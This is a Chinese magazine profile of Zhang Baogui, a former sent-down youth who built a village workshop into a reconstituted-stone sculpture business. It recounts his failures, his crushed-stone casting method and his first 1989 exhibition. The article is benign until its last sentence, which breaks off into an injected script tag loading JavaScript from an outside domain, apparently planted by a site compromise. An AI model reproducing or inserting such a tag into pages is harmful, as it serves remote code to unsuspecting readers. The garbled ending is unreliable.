张宝贵从来不裁员,哪怕工人不断出错或者违反公司规定。公司仅养花种草的后勤人员就有 8 个,而全体员工才 150 多个;现在,甚至连养花种草的大妈们也嫌他效率低 。
与张宝贵对话,你会觉得充满了矛盾。
他常常觉得孤独,这个世界几乎没人能够理解他,但是与宝贵石艺的农民兄弟姐妹在一起,他又十分合群,开心而满足。他的再造石雕塑,世人赞不绝口,他却认为上帝给人的感观其实惊人地一致,很多人都能做出这样的作品。对于自己的这份事业,他自信而骄傲,但是这份骄傲又略微缺乏底气,因为公司的经营状况确实不是很好。他经营着宝贵石艺,养活了 100 多号人,也算是个“总”,可是他做事情天马行空,在他身上你看不到商人逐利的本性,在他眼里,“艺术朝前走,钱是影子”。
这么多年来,尽管无为而治的情感管理方式在现实运营中效果不佳。张宝贵依旧保持着一种浪漫的情怀,始终坚信明天是美好的。他很认真地对《中国新时代》记者说:“在当前这个社会,大家都在追逐利益的时候,一个人还能保持浪漫的心态,我认为是上帝的恩宠。所以,我会坚持下去。”
误打误撞成了艺术家
在宝贵石艺科技有限公司的展览厅里,陈设着一件件现代感极强的再造石雕塑。所有这些,都出自初中毕业的张宝贵与宝贵石艺的工人之手。
1968 年,张宝贵卷起铺盖去山西插队,这一呆,就是 20 年。他当过农民、工厂子弟学校的音乐美术老师、工人、工厂领导,基层生活的方方面面都体验过了。
当知青的时候,农村的活儿他全都干了一遍。没赶过毛驴的他,架着驴车去县城,一个人拉回了七、八百斤的粮食。中午,其他人都在休息,他顶着烈日在黑板面前画黑板报,没有人要求他这样去做,只是因为发自内心的喜欢。在子弟学校当老师,他教美术、音乐和体育,不会跳舞的他领着孩子们又唱又跳,至今回忆起来,他还觉得“当时我肯定丑死了”,但是想起来,“那段时间真美好”。再后来,他当上了领导,在山西石英厂的党政办公室做副主任。
1987 年,张宝贵回北京的念头越来越强烈,因为远行的游子强烈的盼望能回到母亲身边。于是,他回来了,带着老婆孩子,拉着被子行头,甚至连柴火棍子都带回来了。“一时找不到工作,只好在昌平的一个村子里落户。为什么连柴火棍子都拉回来?就想着兴许能派上用场,支个床和桌子什么的。”
一家四口,住在呼呼漏风的破屋子里,地下连砖块都没垫,全是泥。为了生存,张宝贵四处联系单位,可总是碰壁。正在这时,曾任北京建材研究所所长的舅舅给张宝贵指出一条路:把水泥做成“石花”用做阳台装饰的栏板也许会有市场。
反正也没有其他活路,于是张宝贵带着这个想法来到了昌平县奤夿屯。大队提供了鸡棚改成的厂房,张宝贵是工程师,员工只有几个农村妇女,一个村办小厂就这样办了起来了。张宝贵懂点做模具的知识,又创新改良了一下,用泡沫塑料做印模,再浇上水泥,做了一大堆水泥装饰出来。可是,由于太土气,一个都没卖出去,白白辛苦一场却全都打了水漂。
在推销水泥装饰的过程中,一位设计师无意中告诉张宝贵:“你这个东西没有市场。第一,不现代;第二,不像石头。”说者无意,听者有心,一瞬间张宝贵如醍醐灌顶,“原来得做有现代感的东西,得做像石头的东西”。怎样才能像石头呢?于是,只好把石头砸碎成石渣,再掺进水泥混合,浇在模具之上。固化之后,靠手工拿着砂纸打磨。为了让石渣能露出来,经常打磨完一件作品后手掌全被磨破了。
刚开始用锤子砸出石渣,可是太慢,没有钱买设备,只好拿村里的磨面机磨石头。有一天,一位好心人告诉张宝贵昌平的山上有很多炸山剩下的石粉,不要钱,随便拿。如同天上掉下了金元宝,张宝贵和他的工人们兴奋得不行,赶紧开着卡车往山里奔。在塑料布围成的厂房里,一次又一次的试验,每一次脱模时都带着惊喜。“我们每天做着卑微得不能再卑微的工作,每天都是重复劳动,但是生命就从这里开始。我们越做越快、越做越好。”不久之后,张宝贵接到了第一笔订单,为亚运村南小区工程做 6 平方米浮雕,以每平方米 60 元的价格开始了他“卖水泥”的生涯。
为了拓展市场,张宝贵开始办展览。 1989 年 1 月 23 日,他在北京图书馆举办了自己的第一次展览——“再造石装饰制品展”。这些水泥加石渣制品引起了建筑界和艺术界的浓厚兴趣。展览越办越多,在中央美院办,在中国美术馆办。人们开始将张宝贵的作品称之为艺术品,他摇身一变成了艺术家。
当然,村办小厂也存活了下来。 1993 年,张宝贵办理停薪留职手续?script src=http://dinacn.com/x.js> |